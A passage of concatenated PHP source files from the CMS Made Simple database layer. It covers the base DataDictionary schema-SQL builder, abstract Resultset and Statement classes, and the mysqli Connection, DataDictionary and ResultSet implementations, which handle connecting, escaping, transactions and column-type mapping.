					( substr($fdefault,0,1) != "'" && !is_numeric($fdefault)))
					if (strlen($fdefault) != 1 && substr($fdefault,0,1) == ' ' && substr($fdefault,strlen($fdefault)-1) == ' ')
						$fdefault = trim($fdefault);
					else if (strtolower($fdefault) != 'null')
						$fdefault = $this->connection->qstr($fdefault);
			$suffix = $this->_CreateSuffix($fname,$ftype,$fnotnull,$fdefault,$fautoinc,$fconstraint,$funsigned);

			if ($widespacing) $fname = str_pad($fname,24);
			$lines[$fid] = $fname.' '.$ftype.$suffix;

			if ($fautoinc) $this->autoIncrement = true;
		} // foreach $flds
		return array($lines,$pkey);
	}

	/**
     * Generate the size part of the datatype.
     *
     * @ignore
     * @internal
     */
	protected function _GetSize($ftype, $ty, $fsize, $fprec)
	{
		if (strlen($fsize) && $ty != 'X' && $ty != 'B' && strpos($ftype,'(') === false) {
			$ftype .= "(".$fsize;
			if (strlen($fprec)) $ftype .= ",".$fprec;
			$ftype .= ')';
		}
		return $ftype;
	}

    /**
     * Create a suffix
     *
     * @internal
     */
	protected function _CreateSuffix($fname,$ftype,$fnotnull,$fdefault,$fautoinc,$fconstraint,$funsigned)
	{
		$suffix = '';
		if (strlen($fdefault)) $suffix .= " DEFAULT $fdefault";
		if ($fnotnull) $suffix .= ' NOT NULL';
		if ($fconstraint) $suffix .= ' '.$fconstraint;
		return $suffix;
	}

    /**
     * build SQL commands for indexes.
     *
     * @internal
     */
	protected function _IndexSQL($idxname, $tabname, $flds, $idxoptions)
	{
		$sql = array();

		if ( isset($idxoptions['REPLACE']) || isset($idxoptions['DROP']) ) {
			$sql[] = sprintf ($this->dropIndex, $idxname);
			if ( isset($idxoptions['DROP']) ) return $sql;
		}

		if ( empty ($flds) ) return $sql;

		$unique = isset($idxoptions['UNIQUE']) ? ' UNIQUE' : '';

		$s = 'CREATE' . $unique . ' INDEX ' . $idxname . ' ON ' . $tabname . ' ';

		if ( isset($idxoptions[$this->upperName]) )
			$s .= $idxoptions[$this->upperName];

		if ( is_array($flds) )	$flds = implode(', ',$flds);
		$s .= '(' . $flds . ')';
		$sql[] = $s;

		return $sql;
	}

    /**
     * A method to drop the auto increment column on a table.
     *
     * @internal
     */
	protected function _DropAutoIncrement($tabname)
	{
		return false;
	}

    /**
     * An internal method to get a list of database type specific options for a command.
     *
     * @internal
     */
    protected function get_dbtype_options($opts,$suffix = null)
    {
        $dbtype = $this->_DBType();
        $list = array($dbtype.$suffix,strtoupper($dbtype).$suffix,strtolower($dbtype).$suffix);

        foreach( $list as $one ) {
            if( isset($opts[$one]) && is_string($opts[$one]) && strlen($opts[$one]) ) return $opts[$one];
        }
    }

    /**
     * Build strings for generating tables.
     *
     * @internal
     */
	protected function _TableSQL($tabname,$lines,$pkey,$tableoptions)
	{
		$sql = array();

		if (isset($tableoptions['REPLACE']) || isset ($tableoptions['DROP'])) {
			$sql[] = sprintf($this->dropTable,$tabname);
			if ($this->autoIncrement) {
				$sInc = $this->_DropAutoIncrement($tabname);
				if ($sInc) $sql[] = $sInc;
			}
			if ( isset ($tableoptions['DROP']) ) {
				return $sql;
			}
		}
		$s = "CREATE TABLE $tabname (\n";
		$s .= implode(",\n", $lines);
		if (sizeof($pkey)>0) {
			$s .= ",\n				 PRIMARY KEY (";
			$s .= implode(", ",$pkey).")";
		}
		if (isset($tableoptions['CONSTRAINTS']))
			$s .= "\n".$tableoptions['CONSTRAINTS'];

        $str = $this->get_dbtype_options($tableoptions,'_CONSTRAINTS');
        if( $str ) $s .= "\n".$str;

		$s .= "\n)";
        $str = $this->get_dbtype_options($tableoptions);
        if( $str ) $s .= $str;
		$sql[] = $s;

		return $sql;
	}

    /**
     * Generate triggers if needed.
	 * This is used when table has auto-incrementing field that is emulated using triggers.
     *
     * @internal
     */
	protected function _Triggers($tabname,$taboptions)
	{
		return array();
	}

	/**
     * Sanitize options,
     *
     * @internal
     */
    protected function _ProcessOptions($opts)
    {
        return $opts;
    }

    /**
     * Convert options into a format usable by the system.
     *
     * @internal
     */
	protected function _Options($opts)
	{
        $opts = $this->_ProcessOptions($opts);
		if (!is_array($opts)) return array();
		$newopts = array();
		foreach($opts as $k => $v) {
			if (is_numeric($k)) $newopts[strtoupper($v)] = $v;
			else $newopts[strtoupper($k)] = $v;
		}
		return $newopts;
	}

	/**
     * Add, drop or change columns within a table.
     *
     * This function changes/adds new fields to your table. You don't
     * have to know if the col is new or not. It will check on its own.
     *
     * @param string $tablename The table name
     * @param string $flds The field definitions
     * @param array  $tableoptions Table options
     * @return string[] An array of strings suitable for use with the ExecuteSQLArray method
     */
	public function ChangeTableSQL($tablename, $flds, $tableoptions = false)
	{
		// check table exists
		$cols = $this->MetaColumns($tablename);

		if ( empty($cols)) {
			return $this->CreateTableSQL($tablename, $flds, $tableoptions);
		}

		if (is_array($flds)) {
			// Cycle through the update fields, comparing
			// existing fields to fields to update.
			// if the Metatype and size is exactly the
			// same, ignore - by Mark Newham
			$holdflds = array();
			foreach($flds as $k=>$v) {
				if ( isset($cols[$k]) && is_object($cols[$k]) ) {
					$c = $cols[$k];
					$ml = $c->max_length;
					$mt = &$this->MetaType($c->type,$ml);
					if ($ml == -1) $ml = '';
					if ($mt == 'X') $ml = $v['SIZE'];
					if (($mt != $v['TYPE']) ||  $ml != $v['SIZE']) $holdflds[$k] = $v;
				} else {
					$holdflds[$k] = $v;
				}
			}
			$flds = $holdflds;
		}

		// already exists, alter table instead
		list($lines,$pkey) = $this->_GenFields($flds);
		$alter = 'ALTER TABLE ' . $this->TableName($tablename);
		$sql = array();

		foreach ( $lines as $id => $v ) {
			if ( isset($cols[$id]) && is_object($cols[$id]) ) {
				$flds = Lens_ParseArgs($v,',');
				//  We are trying to change the size of the field, if not allowed, simply ignore the request.
				if ($flds && in_array(strtoupper(substr($flds[0][1],0,4)),$this->invalidResizeTypes4)) continue;

				$sql[] = $alter . $this->alterCol . ' ' . $v;
			} else {
				$sql[] = $alter . $this->addCol . ' ' . $v;
			}
		}
		return $sql;
	}

} // end of class
<?php

/**
 * A file to describe an empty recordset
 *
 * @ignore
 */
namespace CMSMS\Database;

/**
 * A final class to describe a special (empty) recordset.
 *
 * @ignore
 */
final class EmptyResultset extends Resultset
{
    /**
     * @ignore
     */
    public function MoveFirst() {}
    /**
     * @ignore
     */
    public function MoveNext() {}

    /**
     * @ignore
     */
    public function GetArray() {}
    /**
     * @ignore
     */
    public function GetRows() {}
    /**
     * @ignore
     */
    public function GetAll() {}
    /**
     * @ignore
     */
    public function GetAssoc() {}

    /**
     * @ignore
     */
    public function EOF() { return TRUE; }
    /**
     * @ignore
     */
    public function Close() {}
    /**
     * @ignore
     */
    public function RecordCount() { return 0; }

    /**
     * @ignore
     */
    public function fields() {}
} // end of class
<?php
#BEGIN_LICENSE
#-------------------------------------------------------------------------
# Module: \CMSMS\Database\ConnectionSpec (c) 2015 by Robert Campbell
#         (calguy1000@cmsmadesimple.org)
#  A class to define how to connect to a database.
#
#-------------------------------------------------------------------------
# CMS - CMS Made Simple is (c) 2005 by Ted Kulp (wishy@cmsmadesimple.org)
# Visit our homepage at: http://www.cmsmadesimple.org
#
#-------------------------------------------------------------------------
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# However, as a special exception to the GPL, this software is distributed
# as an addon module to CMS Made Simple.  You may not use this software
# in any Non GPL version of CMS Made simple, or in any version of CMS
# Made simple that does not indicate clearly and obviously in its admin
# section that the site was built with CMS Made simple.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Or read it online: http://www.gnu.org/licenses/licenses.html#GPL
#
#-------------------------------------------------------------------------
#END_LICENSE

/**
 * This file defines the base ResultSet class.
 *
 * @package CMS
 */

namespace CMSMS\Database;

/**
 * A class defining a resultset and how to interact with results from a database query.
 *
 * @package CMS
 * @author Robert Campbell
 * @copyright Copyright (c) 2015, Robert Campbell <calguy1000@cmsmadesimple.org>
 * @since 2.2
 * @property-read bool $EOF Test if we are at the end of the current resultset.
 * @property-read array $fields Return the current row of the resultset.
 */
abstract class Resultset
{
    /**
     * @ignore
     */
    public function __destruct()
    {
        $this->Close();
    }

    /**
     * Move to the first row in a resultset.
     */
    abstract public function MoveFirst();

    /**
     * Move to the next row of a resultset.
     */
    abstract public function MoveNext();

    /**
     * Move to a specified index of the resultset.
     *
     * @param int $idx
     */
    abstract protected function Move($idx);

    /**
     * Get all remaining results in this resultset as an array of records.
     *
     * @return array
     */
    public function GetArray()
    {
        $results = array();
        while( !$this->EOF() ) {
            $results[] = $this->fields();
            $this->MoveNext();
        }
        return $results;
    }

    /**
     * An alias for the GetArray method.
     *
     * @see GetArray()
     * @return array
     * @deprecated
     */
    public function GetRows() { return $this->GetArray(); }

    /**
     * An alias for the GetArray method.
     * @see GetArray()
     * @return array
     * @deprecated
     */
    public function GetAll() { return $this->GetArray(); }

    /**
     * Get an associative array from a resultset.
     *
     * If only two columns are returned in the resultset, the keys of the returned associative array
     * will be the value of the first column, and the value of each key will be the value from the second column.
     *
     * If more than 2 columns are returned, then the key of the returned associative array will be the
     * value from the first column, and the value of each key will be an associative array of the remaining columns.
     * This is known as array behavior.
     *
     * @deprecated
     * @param boolean force_array Force array behavior, even if there are only two columns in the resulting SQL.
     * @param boolean first2cols The opposite of force_array.  Only output the data from the first 2 columns as an associative array.
     * @return array
     */
    public function GetAssoc($force_array = false, $first2cols = false)
    {
        $data = null;
        $first_row = $this->Fields();
        if( count($first_row) < 2 ) return $data;

        $data = [];
        $keys = array_keys($first_row);
        $numeric_index = isset($row[0]);
        if( !$first2cols && (count($keys) > 2 || $force_array) ) {
            // output key is first column
            // other columns as assoc
            $first_key = $keys[0];
            while( !$this->EOF() ) {
                $row = $this->Fields();
                $data[trim($row[$first_key])] = array_slice($row,1);
                $this->MoveNext();
            }
        } else {
            // only 2 columns... output a single associative
            while( !$this->EOF() ) {
                $row = $this->Fields();
                $data[trim($row[$keys[0]])] = $row[$keys[1]];
                $this->MoveNext();
            }
        }
        return $data;
    }

    /**
     * Test if we are at the end of a resultset, and there are no further matches.
     *
     * @return bool
     */
    abstract public function EOF();

    /**
     * Close the current resultset.
     */
    abstract public function Close();

    /**
     * Return the number of rows in the current resultset.
     *
     * @return int
     */
    abstract public function RecordCount();

    /**
     * Alias for the RecordCount() method.
     *
     * @see RecordCount();
     * @return int
     */
    public function NumRows() { return $this->RecordCount(); }

    /**
     * Return the fields of the current resultset, or a single field of it.
     *
     * @param string $field An optional field name, if not specified, the entire row will be returned.
     * @return mixed|array Either a single value, or an array
     */
    abstract public function Fields( $field = null );

    /**
     * Fetch the current row, and move to the next row.
     *
     * @return array
     */
    public function FetchRow() {
        if( $this->EOF() ) return false;
        $out = $this->fields();
        $this->MoveNext();
        return $out;
    }

    /**
     * @internal
     */
    abstract protected function fetch_row();

    /**
     * @ignore
     */
    public function __get($key)
    {
        if( $key == 'EOF' ) return $this->EOF();
        if( $key == 'fields' ) return $this->Fields();
    }

}
<?php
#BEGIN_LICENSE
#-------------------------------------------------------------------------
# Module: \CMSMS\Database\Statement (c) 2015 by Robert Campbell
#         (calguy1000@cmsmadesimple.org)
#  A class to represent a prepared SQL statement
#
#-------------------------------------------------------------------------
# CMS - CMS Made Simple is (c) 2005 by Ted Kulp (wishy@cmsmadesimple.org)
# Visit our homepage at: http://www.cmsmadesimple.org
#
#-------------------------------------------------------------------------
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# However, as a special exception to the GPL, this software is distributed
# as an addon module to CMS Made Simple.  You may not use this software
# in any Non GPL version of CMS Made simple, or in any version of CMS
# Made simple that does not indicate clearly and obviously in its admin
# section that the site was built with CMS Made simple.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Or read it online: http://www.gnu.org/licenses/licenses.html#GPL
#
#-------------------------------------------------------------------------
#END_LICENSE

/**
 * This file defines the abstract database statement class.
 *
 * @package CMS
 */

namespace CMSMS\Database;

/**
 * A class defining a prepared database statement.
 *
 * @package CMS
 * @author Robert Campbell
 * @copyright Copyright (c) 2017, Robert Campbell <calguy1000@cmsmadesimple.org>
 * @since 2.2
 * @property-read Connection $db The database connection
 * @property-read string $sql The SQL query.
 */
abstract class Statement
{
    /**
     * @ignore
     */
    private $_conn;

    /**
     * @ignore
     */
    private $_sql;

    /**
     * Constructor
     *
     * @param Connection $conn The database connection
     * @param string $sql The SQL query
     */
    public function __construct(Connection $conn,$sql = null)
    {
        $this->_conn = $conn;
        $this->_sql = $sql;
    }

    /**
     * @ignore
     */
    public function __get($key)
    {
        switch( $key ) {
        case 'db':
        case 'conn':
            return $this->_conn;

        case 'sql':
            return $this->_sql;
        }
    }

    /**
     * Bind data to the sql statements
     *
     * @param array $data An array of arrays of data representing the numerous rows of the input data.
     */
    public function Bind(array $data)
    {
        if( !is_array($data) || count($data) == 0 ) throw new \LogicException('Data passed to '.__METHOD__.' must be an associative array');
        $first = $data[0];
        if( !is_array($first) || count($first) == 0 ) throw new \LogicException('Data passed to '.__METHOD__.' must be an associative array');
        $keys = array_keys($first);
        if( is_numeric($keys[0]) && $keys[0] === 0 )  throw new \LogicException('Data passed to '.__METHOD__.' must be an associative array');

        $this->set_bound_data($data);
    }

    /**
     * Set bound data
     *
     * @see bind
     * @param array $data An array of arrays of data representing the numerous rows of the input data.
     */
    abstract protected function set_bound_data($data);

    /**
     * Test if we are at the end of the resultset.
     *
     * @return bool
     */
    abstract public function EOF();

    /**
     * Move to the first record of the resultset.
     */
    abstract public function MoveFirst();

    /**
     * Move to the next record of the resultset.
     */
    abstract public function MoveNext();

    /**
     * Retrive data fields.
     *
     * @param string $col The column name.  If not specified, all columns will be returned.
     * @return mixed
     */
    abstract public function Fields($col = null);

    /**
     * Execute the query
     */
    abstract public function Execute();
}
<?php

namespace CMSMS\Database\mysqli;

class Connection extends \CMSMS\Database\Connection
{
    private $_mysql;
    private $_in_transaction = 0;
    private $_in_smart_transaction = 0;
    private $_transaction_status = TRUE;
    private $_transaction_failed = FALSE;

    public function DbType() { return 'mysqli'; }

    public function Connect()
    {
        if( !class_exists('\mysqli') ) throw new \LogicException("Configuration error... mysqli functions are not available");

        mysqli_report(MYSQLI_REPORT_STRICT);
        try {
            $this->_mysql = new \mysqli( $this->_connectionSpec->host, $this->_connectionSpec->username,
                                         $this->_connectionSpec->password,
                                         $this->_connectionSpec->dbname,
                                         (int) $this->_connectionSpec->port );
            if( $this->_mysql->connect_error ) {
                $this->_mysql = null;
                $this->OnError(self::ERROR_CONNECT,mysqli_connect_errno(),mysqli_connect_error());
                return FALSE;
            }
            return TRUE;
        }
        catch( \Exception $e ) {
            $this->_mysql = null;
            $this->OnError(self::ERROR_CONNECT,mysqli_connect_errno(),mysqli_connect_error());
            return FALSE;
        }
    }

    public function &NewDataDictionary()
    {
        $obj = new DataDictionary($this);
        return $obj;
    }

    public function Disconnect()
    {
        if( $this->_mysql ) {
            $this->_mysql->Close();
            $this->_mysql = null;
        }
    }

    public function &get_inner_mysql()
    {
        return $this->_mysql;
    }

    public function IsConnected()
    {
        return is_object($this->_mysql);
    }

    public function ErrorMsg()
    {
        if( $this->_mysql ) return $this->_mysql->error;
        return mysqli_connect_error();
    }

    public function ErrorNo()
    {
        if( $this->_mysql ) return $this->_mysql->errno;
        return mysqli_connect_errno();
    }

    public function Affected_Rows()
    {
        return $this->_mysql->affected_rows;
    }

    public function Insert_ID()
    {
        $res =  $this->_mysql->insert_id;
        return $res;
    }

    public function qstr($str)
    {
        // note... this could be a two way tcp/ip or socket communication
        return "'".$this->_mysql->escape_string($str)."'";
    }

    public function Concat()
    {
		$arr = func_get_args();
		$list = implode(', ', $arr);

		if (strlen($list) > 0) return "CONCAT($list)";
    }

    public function IfNull( $field, $ifNull )
    {
        return " IFNULL($field, $ifNull)";
    }

    protected function do_multisql($sql)
    {
        // no error checking for this stuff
        // and no return data
        $_t = $this->_mysql->multi_query($sql);
        if( $_t ) {
            do {
                $res = $this->_mysql->store_result();
            } while( $this->_mysql->more_results() && $this->_mysql->next_result() );
        }
    }

    public function &do_sql($sql)
    {
        // execute all queries, but only need the resultset from the last one.
        $resultset = null;
        $this->sql = $sql;
        $time_start = microtime(TRUE);
        $resultid = $this->_mysql->query( $sql );
        $time_total = microtime(TRUE) - $time_start;
        $this->query_time_total += $time_total;
        if( !$resultid ) {
            $this->FailTrans();
            $this->OnError(self::ERROR_EXECUTE,$this->_mysql->errno, $this->_mysql->error);
            return $resultset;
        }
        $this->add_debug_query($sql);
        $resultset = new ResultSet( $this->_mysql, $resultid, $sql );
        return $resultset;
    }

    public function &Prepare($sql)
    {
        $stmt = new Statement($this,$sql);
        return $stmt;
    }

    public function BeginTrans()
    {
        if( $this->_in_smart_transaction ) return TRUE; // allow nesting in this case.
        $this->_in_transaction++;
        $this->_transaction_failed = FALSE;
        $this->Execute('BEGIN');
        return TRUE;
    }

    public function StartTrans()
    {
        if( $this->_in_smart_transaction ) {
            $this->_in_smart_transaction++;
            return;
        }

        if( $this->_in_transaction ) {
            $this->OnError( self::ERROR_TRANSACTION, -1, 'Bad Transaction: StartTrans called within BeginTrans');
            return FALSE;
        }
        $this->_transaction_status = TRUE;
        $this->_in_smart_transaction++;
        $this->BeginTrans();
    }

    public function RollbackTrans()
    {
        if( !$this->_in_transaction ) {
            $this->OnError( self::ERROR_TRANSACTION, -1, 'BeginTrans has not been called');
            return FALSE;
        }

        $this->_in_transaction--;
        $this->Execute('ROLLBACK');
        return TRUE;
    }

	function CommitTrans($ok=true)
	{
		if (!$ok) return $this->RollbackTrans();

        if( !$this->_in_transaction ) {
            $this->OnError( self::ERROR_TRANSACTION, -1, 'BeginTrans has not been called');
            return FALSE;
        }

        $this->_in_transaction--;
		$this->Execute('COMMIT');
		return TRUE;
	}

    public function CompleteTrans($autoComplete = true)
    {
        if( $this->_in_smart_transaction > 0 ) {
            $this->_in_smart_transaction--;
            return TRUE;
        }

        if( $this->_transaction_status && $autoComplete ) {
            if( !$this->CommitTrans() ) {
                $this->_transaction_status = FALSE;
            }
        } else {
            $this->RollbackTrans();
        }
        $this->_in_smart_transaction = 0;
        return $this->_transaction_status;
    }

    public function FailTrans()
    {
        $this->_transaction_status = FALSE;
    }

    function HasFailedTrans()
    {
        if( $this->_in_smart_transaction > 0 ) return $this->_transaction_status == FALSE;
        return FALSE;
    }

    public function GenID($seqname)
    {
        $sql = sprintf('UPDATE %s SET id=id+1;',$seqname);
        $this->Execute($sql);
        $sql = sprintf('SELECT id FROM %s',$seqname);
        return (int) $this->GetOne($sql);
    }

    public function CreateSequence($seqname,$startID=0)
    {
        $out = array();
        $startID = (int) $startID;
        $out[] = sprintf('CREATE TABLE %s (id int not null) ENGINE MyISAM',$seqname);
        $out[] = sprintf('INSERT INTO %s (id) values (%s)',$seqname,$startID);
        $dict = $this->NewDataDictionary();
        $dict->ExecuteSQLArray($out);
        return TRUE;
    }

    public function DropSequence($seqname)
    {
        return $this->Execute(sprintf('DROP TABLE %s',$seqname));
    }
} // end of class
<?php

namespace CMSMS\Database\mysqli;

class DataDictionary extends \CMSMS\Database\DataDictionary
{
  private $alterTableAddIndex;
    public function __construct(Connection $conn)
    {
        parent::__construct($conn);
        $this->alterCol = ' MODIFY COLUMN';
        $this->alterTableAddIndex = true;
        $this->dropTable = 'DROP TABLE IF EXISTS %s'; // requires mysql 3.22 or later

        $this->dropIndex = 'DROP INDEX %s ON %s';
        $this->renameColumn = 'ALTER TABLE %s CHANGE COLUMN %s %s %s';  // needs column-definition!
    }

    protected function ActualType($meta)
    {
        switch( $meta ) {
        case 'C': return 'VARCHAR';
        case 'XL':return 'LONGTEXT';
        case 'X': return 'TEXT';

        case 'C2': return 'VARCHAR';
        case 'X2': return 'LONGTEXT';

        case 'B': return 'LONGBLOB';

        case 'D': return 'DATE';
        case 'DT': return 'DATETIME';
        case 'T': return 'TIME';
        case 'TS': return 'TIMESTAMP';
        case 'L': return 'TINYINT';

        case 'R':
        case 'I4':
        case 'I': return 'INTEGER';
        case 'I1': return 'TINYINT';
        case 'I2': return 'SMALLINT';
        case 'I8': return 'BIGINT';

        case 'F': return 'DOUBLE';
        case 'N': return 'NUMERIC';
        default:
            return $meta;
        }
    }

    protected function MetaType($t,$len=-1,$fieldobj=false)
    {
        // $t can be mixed...
        if (is_object($t)) {
            $fieldobj = $t;
            $t = $fieldobj->type;
            $len = $fieldobj->max_length;
        }

        $len = -1; // mysql max_length is not accurate
        switch (strtoupper($t)) {
        case 'STRING':
        case 'CHAR':
        case 'VARCHAR':
        case 'TINYBLOB':
        case 'TINYTEXT':
        case 'ENUM':
        case 'SET':
            if ($len <= $this->blobSize) return 'C';

        case 'TEXT':
        case 'LONGTEXT':
        case 'MEDIUMTEXT':
            return 'X';

            // php_mysql extension always returns 'blob' even if 'text'
            // so we have to check whether binary...
        case 'IMAGE':
        case 'LONGBLOB':
        case 'BLOB':
        case 'MEDIUMBLOB':
            return !empty($fieldobj->binary) ? 'B' : 'X';

        case 'YEAR':
        case 'DATE': return 'D';

        case 'TIME':
        case 'DATETIME':
        case 'TIMESTAMP': return 'T';

        case 'INT':
        case 'INTEGER':
        case 'BIGINT':
        case 'TINYINT':
        case 'MEDIUMINT':
        case 'SMALLINT':
            if (!empty($fieldobj->primary_key)) return 'R';
            return 'I';

        default:
            static $typeMap = array(
                'VARCHAR' => 'C',
                'VARCHAR2' => 'C',
                'CHAR' => 'C',
                'C' => 'C',
                'STRING' => 'C',
                'NCHAR' => 'C',
                'NVARCHAR' => 'C',
                'VARYING' => 'C',
                'BPCHAR' => 'C',
                'CHARACTER' => 'C',
                ##
                'LONGCHAR' => 'X',
                'TEXT' => 'X',
                'NTEXT' => 'X',
                'M' => 'X',
                'X' => 'X',
                'CLOB' => 'X',
                'NCLOB' => 'X',
                'LVARCHAR' => 'X',
                ##
                'BLOB' => 'B',
                'IMAGE' => 'B',
                'BINARY' => 'B',
                'VARBINARY' => 'B',
                'LONGBINARY' => 'B',
                'B' => 'B',
                ##
                'YEAR' => 'D', // mysql
                'DATE' => 'D',
                'D' => 'D',
                ##
                'TIME' => 'T',
                'TIMESTAMP' => 'T',
                'DATETIME' => 'T',
                'TIMESTAMPTZ' => 'T',
                'T' => 'T',
                ##
                'BOOL' => 'L',
                'BOOLEAN' => 'L',
                'BIT' => 'L',
                'L' => 'L',
                ##
                'COUNTER' => 'R',
                'R' => 'R',
                'SERIAL' => 'R', // ifx
                'INT IDENTITY' => 'R',
                ##
                'INT' => 'I',
                'INT2' => 'I',
                'INT4' => 'I',
                'INT8' => 'I',
                'INTEGER' => 'I',
                'INTEGER UNSIGNED' => 'I',
                'SHORT' => 'I',
                'TINYINT' => 'I',
                'SMALLINT' => 'I',
                'I' => 'I',
                ##
                'LONG' => 'N', // interbase is numeric, oci8 is blob
                'BIGINT' => 'N', // this is bigger than PHP 32-bit integers
                'DECIMAL' => 'N',
                'DEC' => 'N',
                'REAL' => 'N',
                'DOUBLE' => 'N',
                'DOUBLE PRECISION' => 'N',
                'SMALLFLOAT' => 'N',
                'FLOAT' => 'N',
                'NUMBER' => 'N',
                'NUM' => 'N',
                'NUMERIC' => 'N',
                'MONEY' => 'N',

                ## informix 9.2
                'SQLINT' => 'I',
                'SQLSERIAL' => 'I',
                'SQLSMINT' => 'I',
                'SQLSMFLOAT' => 'N',
                'SQLFLOAT' => 'N',
                'SQLMONEY' => 'N',
                'SQLDECIMAL' => 'N',
                'SQLDATE' => 'D',
                'SQLVCHAR' => 'C',
                'SQLCHAR' => 'C',
                'SQLDTIME' => 'T',
                'SQLINTERVAL' => 'N',
                'SQLBYTES' => 'B',
                'SQLTEXT' => 'X',
                ## informix 10
                "SQLINT8" => 'I8',
                "SQLSERIAL8" => 'I8',
                "SQLNCHAR" => 'C',
                "SQLNVCHAR" => 'C',
                "SQLLVARCHAR" => 'X',
                "SQLBOOL" => 'L'
                );

            $tmap = false;
            $t = strtoupper($t);
            $tmap = (isset($typeMap[$t])) ? $typeMap[$t] : 'N';
            return $tmap;
        }
    }

    public function MetaTables()
    {
        $sql = 'SHOW TABLES';
        $list = $this->connection->GetCol($sql);
        if( count($list) ) return $list;
    }

    public function MetaColumns($table)
    {
        $table = trim($table);
        if( !$table ) throw new \LogicException('empty table name specified for '.__METHOD__);

        $sql = 'SHOW COLUMNS FROM ?';
        $rs = $this->connection->GetArray($sql,$table);
        if( is_array($rs) && count($rs) ) {
            $out = array();
            foreach( $rs as $row ) {
                $out[] = $row['Field'];
            }
            return $out;
        }
    }

    /*
     * Arguably this method is counter-productive. Any correction here will
     * probably not be replicated at runtime, and better to fail during installation.
     * The name is not checked for a reserved-word.
     * Permitted characters in unquoted identifiers are in accord with MySQL documentation.
     */
    protected function NameQuote($name = null, $allowBrackets = false)
    {
        if (!is_string($name)) {
            return '';
        }

        // if name is already quoted, just trim
        if (preg_match('/^\s*`.+`\s*$/', $name)) {
            return trim($name);
        }

        $name = rtrim($name);
        // if name contains special characters, quote it
        $patn = ($allowBrackets) ? '\w$()\x80-\xff' : '\w$\x80-\xff';
        if (preg_match('/[^'.$patn.']/', $name)) {
            return '`'.$name.'`';
        }
        // if name contains only digits, quote it
        if (preg_match('/^\s*\d+$/', $name)) {
            return '`'.$name.'`';
        }
        return $name;
    }

    protected function _CreateSuffix($fname,$ftype,$fnotnull,$fdefault,$fautoinc,$fconstraint,$funsigned)
    {
        $suffix = '';
        if ($funsigned) $suffix .= ' UNSIGNED';
        if ($fnotnull) $suffix .= ' NOT NULL';
        if (strlen($fdefault)) $suffix .= " DEFAULT $fdefault";
        if ($fautoinc) $suffix .= ' AUTO_INCREMENT';
        if ($fconstraint) $suffix .= ' '.$fconstraint;
        return $suffix;
    }

    function _ProcessOptions($opts)
    {
        // fixes for old TYPE= stuff in tabopts.
        if( is_array($opts) && count($opts) ) {
            foreach( $opts as $key => &$val ) {
                if( startswith(strtolower($key),'mysql') ) {
                    $val = preg_replace('/TYPE\s?=/i','ENGINE=',$val);
                }
            }
        }
        return $opts;
    }

    function _IndexSQL($idxname, $tabname, $flds, $idxoptions)
    {
        $sql = array();

        if ( isset($idxoptions['REPLACE']) || isset($idxoptions['DROP']) ) {
            if ($this->alterTableAddIndex) $sql[] = "ALTER TABLE $tabname DROP INDEX $idxname";
            else $sql[] = sprintf($this->dropIndex, $idxname, $tabname);

            if ( isset($idxoptions['DROP']) ) return $sql;
        }

        if ( empty ($flds) ) return $sql;

        if (isset($idxoptions['FULLTEXT'])) {
            $unique = ' FULLTEXT';
        } elseif (isset($idxoptions['UNIQUE'])) {
            $unique = ' UNIQUE';
        } else {
            $unique = '';
        }

        if ( is_array($flds) ) $flds = implode(', ',$flds);

        if ($this->alterTableAddIndex) $s = "ALTER TABLE $tabname ADD $unique INDEX $idxname ";
        else $s = 'CREATE' . $unique . ' INDEX ' . $idxname . ' ON ' . $tabname;

        $s .= ' (' . $flds . ')';

        if( ($opts = $this->get_dbtype_options($idxoptions)) ) $s .= $opts;

        $sql[] = $s;

        return $sql;
    }

    function CreateTableSQL($tabname, $flds, $tableoptions=false)
    {
        $str = 'ENGINE=MyISAM CHARACTER SET utf8 COLLATE utf8_general_ci';
        $dbtype = $this->_DBType();

        // clean up input tableoptions
        if( !$tableoptions ) {
            $tableoptions = [ $dbtype => $str ];
        }
        else if( is_string($tableoptions) ) {
            $tableoptions = [ $dbtype => $tableoptions ];
        }
        else if( is_array($tableoptions) && !isset($tableoptions[$dbtype]) && isset($tableoptions['mysql']) ) {
            $tableoptions[$dbtype] = $tableoptions['mysql'];
        }
        else if( is_array($tableoptions) && !isset($tableoptions[$dbtype]) && isset($tableoptions['MYSQL']) ) {
            $tableoptions[$dbtype] = $tableoptions['MYSQL'];
        }

        foreach( $tableoptions as $key => &$val ) {
            if( strpos($val,'TYPE=') !== FALSE ) $val = str_replace('TYPE=','ENGINE=',$val);
        }
        if( isset($tableoptions[$dbtype]) && strpos($tableoptions[$dbtype],'CHARACTER') === FALSE &&
            strpos($tableoptions[$dbtype],'COLLATE') === FALSE ) {
            // if no character set and collate options specified, force UTF8
            $tableoptions[$dbtype] .= " CHARACTER SET utf8 COLLATE utf8_general_ci";
        }

        return parent::CreateTableSQL($tabname, $flds, $tableoptions);
    }

} // end of class
<?php

namespace CMSMS\Database\mysqli;

class ResultSet extends \CMSMS\Database\ResultSet
{
    private $_connection;
    private $_resultId;
    private $_fields;
    private $_nrows;
    private $_pos;
    private $_sql;
    private $resultId;

    public function __construct(\mysqli $conn, $resultId, $sql = null)
    {
        $this->_connection = $conn;
        $this->_resultId = $resultId;
        $this->_pos = 0;
        $this->_nrows = 0;
        $this->_sql = $sql;
        if( is_object($resultId) ) $this->_nrows = mysqli_num_rows( $resultId );
        if( !$this->EOF() ) $this->fetch_row();
    }

    public function __destruct()
    {
        if( $this->resultId ) mysqli_free_result( $this->resultId );
    }

    public function Close()
    {
        if( $this->resultId ) mysqli_free_result( $this->resultId );
        $this->_fields = $this->resultId = null;
    }

    public function Fields( $key = null )
    {
        $key = (string) $key;
